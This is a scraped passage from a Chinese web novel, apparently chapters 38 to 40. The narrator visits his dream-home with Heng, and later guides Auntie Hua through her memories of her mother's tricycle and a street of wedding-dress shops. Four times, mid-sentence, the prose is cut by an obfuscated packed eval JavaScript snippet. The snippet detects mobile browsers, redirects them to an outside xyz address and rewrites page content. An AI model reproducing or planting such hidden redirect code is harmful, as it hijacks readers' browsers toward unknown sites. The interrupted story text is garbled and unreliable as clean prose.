我把手放到指纹锁上,叮咚一声提示音过后,门打开了。珩的手还被我抓在手心,她看一眼门,看一眼门后面的客厅,之后反应过来我把她带回家了。她终于不再用看小猫看小狗的眼神看我了,她准备骂我的时候,我就会短暂地变回一个二十六岁成年男性。“你疯啦?”她喊,“你怎么能把我带到这里来?我以为你是出什么事了,要我把你拉出来,我才把手递给你。你怎么能把外人带到自己家里去?” 这才哪到哪?我回家的钥匙甚至就是你。 但这是不能告诉她的秘密。我假装尴尬地笑笑:“我也不知道啊。没关系,你相信他好了,以他的为人,就算你进去了,机密的东西,必然还有第二把锁。来都来了,你进来坐坐?” 这里看起来就是一个寻常的大平层,客厅很大,玄关处放了几个花瓶,四年没回来,花瓶里的花奇迹般地还活着。右手边是开放式厨房,厨房前面就是饭厅,饭厅往前是客厅,两个厅中间,是通向房间的走廊,而客厅和门之间,是一个巨大的鱼缸,鱼缸里放的都是五颜六色的热带鱼,同样地,它们奇迹般地还活着。跟自己的大脑打了两个月交道,我大概摸索出来些许区分我和“他”的规律。目前“他”是寄生状态,活着但没有主体,而我是存活状态,活着且完整。这个地方是和我的□□挂钩的,因此他虽然变成了我的寄生虫,但房子并没有像他那些上锁的记忆碎片一样,随着他的消亡而消失。由此推断,这里主要听命于我的肉|体,而不是他的灵魂,我走进来是安全的。 于是我非常轻松自在地就往屋里走,走了好几步,我才想起来珩的的手还被我拉着。 我略有些不好意思,想要放开手,她却抬头瞪了我一眼,之后紧紧地抓着我的手,怎么都不放开。 我问她:“怎么了?” 她松开一边手,戳了戳我的头。我也不知道她戳哪了,她好像使用了一些魔法,把她的主机接到了我的显示器上。玄关到客厅的地面忽然消失,变成一个巨大的黑洞。我吓了一跳,看向她:“为什么会变成这样?刚刚看着还挺正常的。” 她又给了我一个无语的眼神:“这是你家的防侵入系统,你以外的人,看着就是这样。” “啊?”这黑洞洞看起来很像是以前那个阴暗爬行心理扭曲的我会设置的陷阱,我提议,“那你回去?” 她看起来更无语了:“你回头看一眼。” 门关着。在我看来它是一扇门,在她看来,那是一个黑洞。现在她处于虚空之中,要不是我拉着,她就会被我的防御系统吞没。 “那怎么办?我先送你回去?”我说。 “你抓紧我,把我带到鱼缸那边去,”她说,“那边有地面。” 我看向鱼缸那边的客厅,幸好以前的我预备了一点亲密社交的空间,他在自己最私密的脑区设置了一个别人可以停留的客厅。在珩的眼里看来,客厅像一个孤岛,漂浮在黑色的海里。她要把她的视野撤走,我生怕我看漏了,在她还不能安全停留的地方就松手,然后错手把她关进陷阱里。她越走越无语,几乎要骂我:“行了,到了,你快把我的手都捏碎了。” 她终于走到沙发前面,之后她甩开我的手,往后一倒,躺在了沙发上。她松手的动作把我吓得不轻,到了现在,想起那个陷阱,我依然后怕。我忍不住说她:“你小心点行不行?”她艺高人胆大,已经施施然在沙发上斜躺下,她往窗外一指:“你看外面。” 我往外看。这里的时间和现实并没有对上,现在这里是日与夜的交界,阳台落地玻璃门外的天空,满是粉红色的霞光,辨不清是朝霞还是晚霞。天之下就是水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228745|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,水淹没了整座城市,放眼望去,红霞彩云都在水中漂浮。我看向珩:“这是我的记忆?” 她点点头:“大概是吧。你找找能不能看见海边的小学?” 我再看。大多数建筑物都被淹没,这里成了一座孤岛。水里有寥寥几座低矮的楼房现形,它们看起来已经泡了有些时候,墙体上还有水渍,看来是我最近刚找回的记忆。这里并没有像是小学的建筑,但它们大概是被伪装成了别的街景,十四岁的我,现在应该住在不远处那几栋九层高的老式居民楼里。 “你把照片给我吧,”她说着,指了指她面前的茶几,“我就把它压在茶几的玻璃地底下。你要不要回房间看看?” “房间?”我退回来,珩撤掉了她的视野,我看到的又是一个寻常的家了。走廊尽头是一个特别大的房间,这应该就是我的卧室。 “你去看看吧,我就不动了。”她在大沙发上翻了个身,关闭状态的电视机上映着她懒散的倒影。 见我还不动,她闭上的眼睛又睁开:“你在害怕吗?没事。我在这里,有人抓你你就喊我。” 喊个鬼。她的活动范围就只有沙发茶几和阳台,多走一步她都要被多疑的那个我关起来,在我的地盘上她还真是张嘴就来。我没拆穿她,默默地往走廊走去。 房间门没关,它虚掩着,我轻轻一推,它就打开了。这个房间特别特别大,好像是把书房和卧室打通一样,我一进去,首先就看到面前的书桌,和周围一圈高大的书架和陈列架。从前那个我,又冷酷又阴暗,但他居然把房间设计成活泼的浅色,这让它看起来不像是他的房间,而像是现在这个我的房间,看来我和他虽然很不一样,但我们本质上还是同一个人,我可以被认为是他的轻量版本。 工作区的旁边,是一张很大的床。床上甚至放了几个毛绒玩具,真是惊人,我走到床前,把毛绒玩具捞起来看。他在床上放了一个特大号的宜家鲨鱼,一个虎鲸,还有一个黄色的八爪鱼。我对他的好感有所上升,他的审美和我一样,都喜欢这种看起来不太聪明的东西。珩要是进来了,肯定也会喜欢这几个毛绒玩具,毕竟她的审丑倾向真是非常突出。床的旁边是床头柜,床头柜上放了个可以看书的台灯,灯下是一个像是日记本的东西。床头柜的那头就是飘窗,窗帘做了双层,深色遮光层现在是拉开状态,窗前还留着浅杏色的薄窗帘。我把窗帘拉开,窗外景色和阳台上看的一样,粉紫色的一片泽国,什么也没有。我趴在窗上看,勉强能看到远处的水中央,有一根高大的钢铁棍子直直地指向天空。那个位置原来大概是座特别高的楼,水面上的部分看起来像是它的避雷针。我在床上坐下,拿起床头柜上的日记本,摊开。 里面没有怪兽,没有陷阱。这只是一个普通的笔记本,甚至没有日记。上面是他随手写下的文字,乘兴而作,意义不明,因此内容没有上锁,也没有随着他灵魂的消散而损毁。 38. 世界很大 你来人间一趟 我随意翻开一页。 你来人间一趟 你要看看太阳 和你的心上人 一起走在街上 这好像是一首诗。他抄这个做什么? 每一条鲑鱼,都会洄游到它出生的河流死去。 说着说着怎么又说到三文鱼去了。 地上一千里, 地下一千里。 在漂浮或沉没的梦境里。 奇奇怪怪的。 看这些文字,我有种说不清的奇怪的感觉。在我的印象里,他是冷酷的,理性的,甚至心狠手辣的。但这个房间里的一切,让我感觉他很像我。准确来说应该是我很像他,毕竟我可能是他人或是他自己,基于他而进行的创造。他虽然一直生活在我的胸腔里,但我一直将他视作异体物。我可怜他,我畏惧他,我嫉妒他。但他的笔记本里,这些无关紧要的文字,在向我诉说他作为人的柔软的动荡的部分。我把笔记本合上,而我忽然发现本子的扉页是和内页不一样的纸,我复又将它翻开。 皮质封面之下,是一张深绿色的硬纸,珠光质地,上面的字迹和内页一致,是我自己写的。一共就四个字,写得很工整,像是郑重地一笔一笔誊的。 世界很大。 这又是谁的名言隽语? 不知道是谁。但它证明了一件事。我和他是同一个人。尽管我和他的性格迥然不同,但我和他是同一个人。前面那些句子虽然引起了我的一些情绪,但它们都太轻,轻得连我都不敢确认那到底是我和他之间的感应,还是只是我和这些文字产生了些许共鸣。但这句话不是。它对我很重要。很重要。重要到我已经失忆了整整四年,遗忘了过去跟它相关的一切,全然想不起它的来历,但看到它的那一瞬间,我的灵魂发生了深刻的震荡。它几乎是在摇,连带着我所有的内脏都在摇晃,我记忆里那片漆黑的海,它自上而下,分成三十万个立方体,每一块海水都在内部翻涌,沸腾,黑夜的大海里全是水泡破裂的声音。它像一句咒语,或是珩说的,因为功能很重要所以在进化上很保守的蛋白质,它和我过去的太多东西产生过联系,因而所有记忆都企图随着它的出现而觉醒。但它们现在都被过去的我锁着,它们在牢笼里挣扎。大脑里所有神经细胞在拍门的感受很不好,我只感觉到一阵剧烈的头痛,之后便失去意识,栽倒在地。 人撞在地面上时,短暂离开的意识归位,我茫茫然睁开眼。我听见了珩的声音。她在外面喊:“你怎么了?要不要救你?”笔记本已经回到原位,沉重的封皮使它天然地处于合上的状态。我回她一句“没事”,之后从地上爬起来。我看向房间的另一边,书架上好多书,好多相册。我的头还有点晕,不知道是那四个字的魔法,还是刚刚摔的。 世界很大。世界很大。我关于我自己未知的世界也很大。四个阿姨还在社区活动中心等着我们两个回去把她们接回来,我想,我还是下次再来慢慢看吧。 我往外走,就在我走之前,我回头看了一眼。 一进门的陈列柜上,放着一个像是音乐盒的东西。音乐盒是木质的,旁边有发条,而音乐盒上面是一个看起来可以随着音乐旋转的圆台,圆台之上,是一个青铜色的人鱼塑像。她和我前些天用十岁的眼睛看到的人鱼塑像一样,披散着海藻般松软繁密的长发,以一个人类难以达到的柔软度弯折身体,她身体微微后仰,左手伸向头后方的天空,下巴上抬,目光似乎也看向左手指着的天空。她是第一个在我的记忆里重复出现的人物,我很难不因此断定她是我这个人的重要锚点之一。我伸手摸到她的底座,轻轻拧了下发条。 没有声音。 她没发出任何声音,倒是外面的珩又在喊我:“你怎么了?喂!你在做什么?” 我把音乐盒放下,一边喊一边往外走:“来了来了!” 我出去的时候,珩还坐在沙发上。她从斜躺变成正坐,见我出来,她把我从头看到脚,又从脚看到头,好像是在确认我没有被房间里什么怪物吃掉一块肉。她眼里很少有这种神色,上次看她这样还是在我半夜把她喊来救我的时候。“没事,我就摔了一下。”我说。她的目光越过我,要看我刚才所在的地方。但她的视野里,那个位置现在应该是一片黑。她复又看向我。“那我们走吧?”她说。 我想她可能是在害怕,我猜的,不然她怎么这么着急喊我出来。也可以理解,谁一个人被丢在黑色大海中间的一张沙发上面漂,都要有点害怕。我同意了,走之前我又看一眼阳台外面。虽然阳台外的景色都被水淹了,但这也挺好看的。水很安静,很干净,要是它没有把可怜的我的记忆都泡了,我想我会更喜欢它的。在我看风景的时候,珩从沙发上起来,走到了我身边。 “真漂亮。”她说。 “我也觉得,”我说,“要是能从这里下去就好了,你看那边的避雷针——”我指了指远处冒出水面的避雷针,“真想从这里架一个海上缆车,一路通到那边。” “你现在就可以啊,”她笑起来,“这是你的世界,你想建什么就建什么。” 结果我真的这么干了。我挑了个敞篷的索道,极其简陋,只有一个金属凳子和一个栏杆,设计参考市里海拔一百米单程一百块的红云山公园索道。我往下看,我们现在正在海里一条窄窄的山脊上,我家目测高度四十层以上,远处是老居民楼,此外全是一片汪洋。把索道的终点定到避雷针,我们可就把车开到大海里,回不来了,于是我把终点定在居民楼楼顶。我和珩翻过阳台的玻璃围挡,坐上索道,我给它发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240550|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个“出发”的指令,它就缓慢地顺着上方的缆绳,往下滑去。 天渐渐地亮了,这原来是个早晨。彩色的霞光消散,天空变得澄澈,水里映了同样的一片淡蓝。我想这时候应该要有点风,于是起风了。微风吹在我和珩的脸上,简陋的索道跟着摇晃。我才知道珩恐高,虽然明知道这里是假的,她肉眼可见地有点紧张,手不由自主地抓紧了旁边的扶手。哈哈,真好玩,我这般想着,风更大了。摇摇晃晃的我问摇摇晃晃的珩:“你家长什么样?” “反正不长这样。” “所以长什么样?” “这是个人机密。” “你这人怎么这样,”我开始站在道德的制高点上对她指指点点,“我都请你到家里坐了,你甚至不告诉我。” “真是个人机密,你是我见过第一个刚认识没多久就把人带家里的人!”见我巴巴地看着她,她松了口,“好吧。你看过海绵宝宝吗?” “什么?”我失笑,“你别告诉我你家开了个蟹堡王餐厅啊?” 她也被逗笑了:“类似吧。” “谁来光顾啊?” “人鱼啊。” “啊?”我也是有兴致,居然这都跟她聊起来,“真有这东西吗?” “有啊。”她说,“你想想啊,中国有鲛人,希腊有塞壬,什么北欧啊,非洲啊,美洲啊,都有人鱼,而且大家的描述都类似,大多数是女的,人首鱼身。一个人说他见过妖怪,那他可能在发妄想症。大家都说见过,描述的也差不多,这不就说明真有吗?” 好有道理。好有道理。我又被她绕进去了。 “不过我不喜欢跟日本的人鱼打交道。”她补充道。 “为什么?” “他们长得太丑了。” “……”我真是为什么会跟她聊起来。 “真的,不信你去看书,Ningyo,他们叫这个。”见我不信,她争辩道,还用手指着自己的嘴,好像真见过这东西一样,“他们的嘴巴像猴子,而且都是男的。太丑了。本来男的就比较丑。哦我没有在说你。” “我谢谢你啊,谢谢你对我外貌的认可。” “不用谢,我只是实话实说。海里的东西真是凭感觉瞎长,对比下来,人类真是眉清目秀的。” 我真是第一次见到像她这样一本正经胡说八道的人,但现在我们顺着微风在平静的湖水上方滑行,虽然水底下泡着我可怜的记忆们,但管他呢。我饶有趣味地看她,也跟她胡说八道:“你家招牌菜是什么?服务员上菜是不是得弄个密封罩什么的?不然就像在水里凿海胆一样,一打开里面的东西就被水冲走了。诶,你有没有考虑过在这里进点什么密封袋之类的回去,这样你家餐厅就可以开展外卖业务了……” 39. 妈妈的三轮车 第九章 昨天我和珩在缆车上,饼已经画到三十年之后。她真是个神奇的人,她一时像成年人,甚至像长辈,一时又像小孩。我说我给你搞点真空包装袋,找人设计一下,给你家餐厅做个logo,印在袋子上,然后就可以请几个游得快的去送外卖,什么海豚啊之类的,正好,它们聪明,好好训练一下,送个饭估计不成问题。现在这个我相比于这个二十六岁的身体,确实有些幼稚,我越讲越兴奋,我说我去定做一个玻璃罩,做成一个空心大馒头的形状,然后你在海里找个山,旁边是海沟,山尖尖刚好比水面低点,我们就把玻璃大馒头沉到山上,你负责供应食物,深海特产,然后我在岸上拉那些浮潜的人来吃。我们两个强强联手,你做人鱼生意,我做人类生意,保证赚得盆满钵满。我从前觉得她是个对什么都没兴趣的人,直到昨天,我第一次看她听得那么认真那么入迷。她的反馈让我有点上头,我几乎要忘记她是个用鼻子和肺呼吸,并且生活在陆地上的人类,要不是她听完之后弯了弯唇,朝我露出一个微妙的笑容,之后问我要不要把房子卖了,投她这个“海陆联合观光餐饮发展计划”,我差点就当真了。我横她一眼,她笑得很开心,烦死了,她的快乐总是建立在我的痛苦之上,看我吃瘪看我上当看我犯蠢,她就高兴了。 我答应要帮珩的忙,给四个阿姨重新建模,让她们以年轻时的模样出现在梦中的婚礼上。星期天我到社区活动中心的时候,提早很多就到达的花阿姨,已经在树下睡着。我在她旁边的躺椅躺下,珩正在我们前面的空地上,拿着个巨大的扫把在扫寥寥无几的落叶。 我喊她:“花阿姨,醒醒。” 花阿姨迷迷糊糊地睁开眼。看来她睡得不浅,见我在旁边,她差点没想起自己为什么会在这里。 珩走过来,从树下拉了个塑料凳子,在我和花阿姨前面坐下。 “花阿姨,江夷来了,等会你要把他带到你的记忆里,然后他会把以前的你找出来,明白了吗?” 花阿姨听得云里雾里,但她是个睡眠质量很好心很大,几乎不作多余思考的人,她非常爽快地答道:“明白了,没问题!我听你们的。” 之后又是熟悉的,令人昏昏欲睡的沉重的空气。我被珩放倒过无数次,花阿姨没见过几次这种场面,她在我旁边惊喜地问:“阿珩你给我喷麻药了吗?怎么跟我去做胃镜的时候一个感觉?”说到一半声音渐低,变成咕咕哝哝的呓语,之后就安静了下去。花阿姨睡着了,我飘在醒和睡之间,等着她把我带到她的家里去。 “花阿姨,来,你现在放松,你想象一下你的家——” “家啊?我搬过好几次喔,我想哪一个?” “你挑一个。你挑你最喜欢,你觉得最舒服的一个。” 花阿姨沉默了一小会儿,像在菜市场货比三家一样,从她住过的地方挑拣出一个合适的。她说“挑好了”,环境没有任何变化。果然居所和家不是一回事,我在旁边又说:“花阿姨,你别挑房子,你挑感觉?明白吗,就是家的感觉?什么东西,什么人会给你家的感觉?” “啊?哈哈,”她笑起来,“我妈呗。” “那你想想她?” “我试试啊,老太太走了有些时候了都。”她说,之后七十岁的她开始想念她已经去世了好几年的妈妈。妈妈是她关于“家”的锚点,我能感觉到她的形体在梦中的世界里逐渐淡化。我赶在她离开当前这个意识频段之前,抓住了她的手。 到她家的路没有到我家的路那么弯弯绕绕,我们几乎在转眼之间,就到达了她的意识深处。只是场景有点奇怪——天是黑的。但这又不是夜晚,我能听见远处的鸡叫声和赶早入城开得飞快的货车引擎声。现在大概是四五点,天还没亮的时候。我看了一圈周围的环境,我们现在应该在某个水网密布的南方乡村里,路很窄,两边是农田和鱼塘,低矮的村屋在农田与鱼塘之间的间隙散在分布。 隔壁花阿姨“哇”了一声。 “这是时间倒流了吗?”她说着,低头看了一眼自己的手,虽然没有光,她看不清楚,但那分明是七十岁的她的手,“我没变小。我没在七十年代对吗?但是我怎么回来了?这房子早就拆了啊。” “花阿姨,这不是现实,这是你的记忆。”我说。 “记忆啊?”她像是第一次来到这里一样,惊奇地回看这些她曾经再熟悉不过的景物,“为什么那棵树在闪来闪去啊?” 她记不清小时候门前的到底是桂花还是鸡蛋花了,因此这棵树正处于桂花和鸡蛋花的叠加态,此时正在快速地在两种形态之间变来变去。 “因为你忘掉这棵树了,”我说,“我们进屋看看?” 因为天没亮,我看不清路,她走在我前面,牵着我的手带着我走。从前的她大概在这个时间段走过无数次这段路,因而不需要把路看得太清,就很顺利地带我摸黑到了她的家门口。那是一座寻常的村屋,门关着,灯没开。门口停着一辆三轮车,车上放了两大筐菜。 她已经几十年没回来过这里,站在门口,她有些踌躇。 “我妈会在里面吗?”她问我。 很遗憾不会。她也许会在她的记忆库里看到母亲的录像,但她的母亲不可能重新以一个拥有自由意志的个体出现。操控别的个体,让她像现实中的人那样自己思考和行动,需要梦境主人分裂出一片意识,放在对方的体内。目前的我尚且做不到,普通人花阿姨更加不可能做到。 她看着记忆里的家,几不可闻地轻轻叹了口气。 弄得我都有点伤感了。实在是不知道怎么应对这种场合。 还好花阿姨上了年纪,已经见过不少离别,她很快就缓了过来,之后往村屋走去。我跟在她后面,她摸索着走到三轮车旁边,她往车上看了一眼,之后她把目光收回,继续往前走。 前面有一堵无形的墙,卡在房子和三轮车之间。 我敲了敲墙:“过不去了。这里确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259716|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你家吗?” 前一秒还坦然接受了梦里已经空无一人的花阿姨,忽而又感伤起来。她的声音有些颤抖,似乎是要哭,但语气里却听不出悲伤,甚至是……有点惊喜。像是刚刚那一刻时间逆转,而她返老还童,此时收到了母亲送来的生日礼物。 她看向我。 “我知道为什么天没亮了。”她说,“因为我妈总是天没亮就骑车把菜运到市场卖,我坐在后面,顺路去上学。她把我放在学校门口,之后去市场,我在学校等一个小时,等到开门再进去。” 我看向旁边放着菜的三轮车。车没锁。我们好像应该……坐上去? 花阿姨的梦里不会有什么陷阱,我什么风浪没见过,而且谨慎如我,来之前已经戴上了珩给我织的手绳,有珩在,我胆子更大了。我直接就爬上了三轮车的后座,并且邀请花阿姨坐到前面去。 花阿姨却没动:“我要坐后面。” “啊?”我指了指自己,“我骑车?我不认识路啊。” 花阿姨似乎已经从刚才的伤心中抽身而出,想起妈妈和三轮车,她现在只剩下欣喜。“你不是说要找家的感觉吗?我这感觉就是坐在我妈的三轮车后面啊。试试?” 我从车上下来,又爬到前面去。花阿姨坐到我的后面,她一上来,三轮车就动了,它掉了个头,开上乡间狭窄的土路,我一点没动,它就这样在凌晨四点多寂静的路上,循着花阿姨的记忆,往学校驶去。 我没敢回头看,我怕一回头看到她在哭,我没有什么安慰人的经验,可是一点都不懂怎么应对这种场面。但她应该没在哭。因为天渐渐地亮了,大货车都进了城,乡间又只剩下自然的声音——好多鸟在叫,杂乱地混在一起的鸟叫声背景里,偶尔掺入一两声鸡或者狗的叫声。三轮车骑得不慢,风吹起菜筐上面盖着的棉布,发出噗噗噗的声音。花阿姨心情愉快,她在吹口哨,音域极窄,不知名的歌曲挤进三四个音符里演奏,但她一直吹,一直吹,吹到三轮车开出河道池塘密布的地带,开过宽阔的稻田,开过村口的蔬菜大棚,开到乡道上。土路终于变成了水泥路,天也快要亮透,远处冒出来一个学校区域减速的警示牌,之后我看见了她的学校。这学校比珩给我建的训练场还要老一些,破一些,电影电视剧里演的七十年代,还是演得太先进了点。 我以为三轮车要开到学校门口停下,至少它是要开到那里的,但出乎我意料的是,从我们离学校还有一百米左右时开始,它就不动了。严格来说它在动,它一直在前进,但学校一直在后退,这条路好像变得无限长,它将这一段时间循环又循环播放,直至无穷无尽—— 因为一旦下车,妈妈就会离开她。能引起她关于家,关于亲密关于依恋的,最强烈的回忆,是这段不愿意告别的路。 空气忽然变得潮湿,之后天又黑下来。不对,不是天黑,是我走进了一个没有灯的屋子里。 一点光都没有。 我掉到了她的记忆库里。 40. 婚纱街 周围有好多信息在飘。偏偏我什么都看不见,只有记忆撞到我的时候,我的世界才会显示记忆的画面。花阿姨买到漂亮裙子的画面,她女儿结婚摆酒,她老伴摔骨折了住了大半个月医院终于拄着拐出院……虽然我对此有一定的预期,普通人的大脑就像一个乱堆乱放且一辈子都不整理的仓库,但这种混乱程度还是有点超乎我意料。我一点路都看不见,到处有东西在撞我,撞到我的记忆片段随机地在我眼前放映。我往前走,一不小心脚就会陷进泥里——花阿姨家里有几亩地,种水稻,插秧的记忆贯穿于她搬到城市里住之前整整几十年的记忆里。现在这些湿漉漉黏糊糊的记忆都堆在地上,使我寸步难行。 这根本没法开展任何搜索工作,我想起了我的手绳。于是我在黑暗中大喊一声:“珩!” 珩听到了,我被瞬间拽回到社区活动中心的细叶榕下,珩一手拿扫把,一手叉腰,正居高临下地看着我。 我大半个身子估计还在花阿姨的梦里,只剩下嘴能动。 “全是黑的啊,我怎么找她的记忆?” 珩的嘴角不由自主地往旁边拉了拉,又是这个“我不是教过你了吗”的表情。我不敢吱声,等着她训话。 “生理学学过吗?” “没有。我是半个文盲。” 人只要放下偶像包袱,别人就无法攻击你的无知。来自大哲学家江夷。 “你让她想一下她要回去的记忆,那块脑区就会活动,它就会在黑暗中亮起来。你追着光去就行了。” 醍醐灌顶!茅塞顿开!我应该想到的,毕竟我丢失的记忆总在我不小心触发它们的时候短暂地亮一下。但那些时刻我都在现实里醒着,我从来就没想到原来我能像追一只萤火虫一样,去找光点的确切位置。 “花阿姨,”我大喊,“你能听到吗?” “你在哪啊?”她的声音从四面八方围过来,“好吓人,你忽然不见了,现在就剩我在三轮车上,它自己开来开去都开不过去。” “你别管它就行,我现在在你的记忆仓库里,我得找找你二十多岁的记忆,你能不能回想一下以前的事?你最想回到什么时候?” 她在思考,在别人的脑子里看思考的过程,场面实在有些震撼。黑暗的潮湿的空间里,骤然亮起好多点金光,之后点变成线,金色的丝线向周围辐射,点亮一块又一块新的记忆。我看得惊异,站在原地只顾欣赏这奇观,然后反应过来,这些窜来窜去的光,都是我自己要去追的。 花阿姨肯定是在杂乱地回忆,她的脑子像过年时候的卫星摄像图,哪哪都在亮。我简直不知道该追哪一个,不行,这样不行,我得引导一下她。 “花阿姨!” “哎!” 她的回忆过程被我打断,空间霎时又陷入一片黑暗之中。 “花阿姨,你听我指挥,我们一次只想一件事,这样我才能找到你要的记忆。现在回答我第一个问题,你最想回到几岁的时候?” “我想想啊,二十五?二十五岁我在干什么……不对,那一年我怀孕了,不行,再往前点,再想想……二十三,就二十三吧,我二十三岁结的婚。” 好多了。我终于看到一条光路,随着她的回忆,缓慢地向前延伸。我追着光去,一边走一边喊:“花阿姨,你继续想着那时候不要停,第二个问题,你那一年最漂亮是什么时候?” 房间熄灯了。所有光都消失了。 “花阿姨,不要停下来!你继续想!” “你别喊我阿姨行不行?你一喊我阿姨,我就马上记起来自己七十岁了!” ……原来是这个原因。“好,那我叫你什么?你的名字是什么?” “我不姓花,不知道谁先开头叫的花阿姨,后来大家都这么叫了。我姓于,我叫于兰花。”原来人的衰老是从丢失名字开始的,她说起自己的本名,屋子里又亮了一串。“这名字有点土是吗?我以前也觉得,这是我妈起的,她就认识这几个字。但是后来我不是乳腺癌做手术去了吗,哎?你是不是不知道。” “啊?我不知道。” “这么明显两边胸不对称,我以为很容易看出来呢!左边是假的,做完手术之后,在衣服里塞的垫子。哦,哈哈,你也不会盯着一个阿婆的胸看。”事情有些久远,大概是那时候的痛苦都被遗忘得差不多了,她说起这事时心情还不错。“我跟你说,那时候手术完化疗,我才知道我这个名字好。每次化疗都得签好多字,我有个病友,跟我一起手术的,后来我们也经常同一个时间去化疗。她叫魏彩霞,哈哈!我全签完了,她还在签第一张呢。” 她说那是五十岁的事情了。我说五十岁之前呢?她沉默了一小会儿,说她要想想,因为回到过去是不容易的事。“我都快忘记左右两边身子一样重的感觉了。”她这么跟我说。之后她又笑一笑:“你一个男的不能理解,哎,阿珩当时听了也有点不能理解,因为她胸小,她说她要是做手术切了一边,可能一个星期就适应了。真烦呐!”阿珩可能正在外面打喷嚏,说不定还以为是扫落叶粉尘闹的。 我说你要是一下子想不起那么远的,你就慢慢往前推。先想想孩子?从女儿小时候开始想。她跟着我的指引,一点点回顾自己的过去。我在黑暗的泥潭里一脚深一脚浅地跑,还好在这里不受物理或生物规律控制,不然一边负重跑一边说话,还挺考验我的心肺。我追着光跑过去,它引我走到她记忆的很深很深处。女儿终于从四十五岁回到了牙牙学语的时候,而我来到了她二十五岁的记忆。我抬头看,这不能说像是“仰望星空”,因为我就在星空之中。关于女儿童年的每一片碎片都被点亮,金色的光芒在我周围浮动,我抓住其中一个光点,之后我就看见了花阿姨。啊不对,于兰花。 她抱着刚出生的女儿,女儿皱巴巴的,身上红红的,皮肤上沾着奶白色的胎脂,她哭得很用力,表情相当浮夸,小小的脸皱成一团。二十五岁的于兰花抱着小宝宝,她看着孩子看了好久,之后看隔壁年轻版的老伴。老伴也是第一次看见刚出生的小宝宝,她丑得实在有点出乎意料,老伴的表情有点微妙。于兰花欣喜地看向老伴:“你看她多可爱!”老伴演技有限,努力微笑,说:“对啊对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265933|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。”七十岁的于兰花正和我一起观看这段录像,她在外面“哎呦”一声,说:“你看这老头回答得多勉强,真是的。不过确实是有点丑。”她女儿此刻可能在家狂打喷嚏。 而后时光倒退,小宝宝变回她隆起的肚子,而至于消失。她为了大热天坐月子而剪短的头发迅速变回齐腰的长度,长发打成两条扎实的麻花辫。她的二十三岁距今已有四十多年,好多细节她都遗忘了,处于是与非叠加态的东西越来越多,她在骑自行车,除了她自己的车,外围视野几乎所有东西都在闪。原来遗忘是个过程,从“是这样”变成“好像是这样”,变成“记不清怎样”,最后是“有这么一件事吗”。我被她晃得头晕,只好和她说话,引导她回忆。 “你说你在江边的一个饭店当前台,饭店还挺大的,建在一栋很老的楼里,以前那个楼是全市最高的?” “对啊,那个楼叫什么来着,我好多年没去那边了——” “庆群大厦?” 路边的高楼瞬间定型。 “对!!!”她高兴地大叫,“你一说我就想起来了,那时候天天上班骑车过西江大桥,人可多了,全是自行车,地铁站墙上还放了那时候的照片。”? 现在那条桥上下班高峰期依然会堵死,时代是个轮回,只不过现在堵的是电动车。我进一步诱导她去想以前的住所:“你从哪里骑车过去?会经过什么?” “好多都变了,以前好像是酒吧,很多酒吧,还有……卖衣服的,婚纱店,对了,婚纱店,会经过婚纱街。” 一片记忆猝不及防地撞向我,把我扯了进去。我站在婚纱街上,骑车上班的于兰花一边骑一边看路边一家家婚纱店,她在一个橱窗前停了车,落地橱窗上映出她的身影。橱窗里是纯白的婚纱,橱窗上是她——身形瘦长的年轻女孩,拖着两条大辫子,骑着老式的二十八寸自行车,车子旧得连篮子都没有,她只能把布包背在身上,斜挎布包被她甩到背后。这是一段非常清晰的个人映像,她站在橱窗前看了很久,因为那时候她也要结婚了,但是她买不起这些昂贵的婚纱。她下了车,一点点调整自己和橱窗之间的距离,好让窗玻璃上她的倒影和婚纱重合。 